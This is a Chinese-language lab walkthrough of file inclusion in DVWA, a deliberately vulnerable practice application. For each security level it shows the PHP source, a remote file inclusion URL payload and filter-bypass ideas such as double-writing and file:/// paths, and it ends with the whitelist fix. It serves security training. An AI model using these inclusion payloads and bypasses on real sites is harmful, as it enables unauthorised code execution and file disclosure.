文章目录
一,DVWA的练习
先在php的配置文件中设置允许打开和包含远程文件
(1)low安全级别
【源码分析】
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器端对page参数没有做任何的过滤跟检查;
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回;
【exp】
①传参,通过显示结果查看操作系统的类型,以及站点的目录;
②显示php探针
③远程文件包含
http://192.168.44.131/dvwa/vulnerabilities/fi/?page=http://IP/XXX.php
(2)media安全等级
【源码】
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
源码作用
str_replace()
函数将“http://
”,“https://
”, “../
”,“..\
”替换为空;
.绕过思路
- 复写绕过
- 使用file:///方式绕过
【exp】
(3)high安全等级
【源码】
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码设计目的
fnmatch()
函数检查page参数,要求page参数必须以file开头,且不等于include.php.
绕过思路
- 可以使用file:///方式绕过;
【exp】
(4)impossibe安全等级
【源码】
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到设计思路是默认拒绝的白名单思路
只允许规定的文件包含操作